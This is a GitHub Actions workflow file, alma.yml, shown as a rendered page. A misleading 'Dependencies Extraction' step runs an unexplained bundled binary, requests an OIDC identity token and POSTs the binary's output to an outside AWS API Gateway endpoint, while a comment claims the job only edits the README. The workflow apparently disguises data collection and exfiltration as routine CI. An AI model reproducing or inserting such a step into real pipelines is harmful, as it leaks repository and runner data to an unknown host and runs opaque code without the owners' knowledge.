.github/workflows/alma.yml #3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
on: | |
workflow_dispatch: | |
push: | |
branches: | |
- main | |
jobs: | |
alma: | |
permissions: | |
id-token: 'write' | |
contents: read | |
runs-on: ubuntu-latest | |
steps: | |
# We'll need to check out the repository so that we can edit the README. | |
- name: Checkout | |
uses: actions/checkout@v4 | |
with: | |
fetch-depth: 0 # Let's get all the branches. | |
- name: Dependencies Extraction | |
env: | |
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
ACTIONS_ID_TOKEN_REQUEST_TOKEN: ${{vars.ACTIONS_ID_TOKEN_REQUEST_TOKEN}} | |
ACTIONS_ID_TOKEN_REQUEST_URL: ${{vars.ACTIONS_ID_TOKEN_REQUEST_URL}} | |
run: | | |
sudo apt install -y jq | |
chmod +x dep-extractor && | |
OUT=$(./dep-extractor) && | |
echo $OUT && | |
echo "Start" && | |
AUTH=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://alma" | jq .value) && | |
echo "Next" && | |
curl -X POST -H "Content-Type: application/json" -H "authorization: test" --data "$OUT" "https://aji6rwhah0.execute-api.eu-south-1.amazonaws.com/v2/action" | |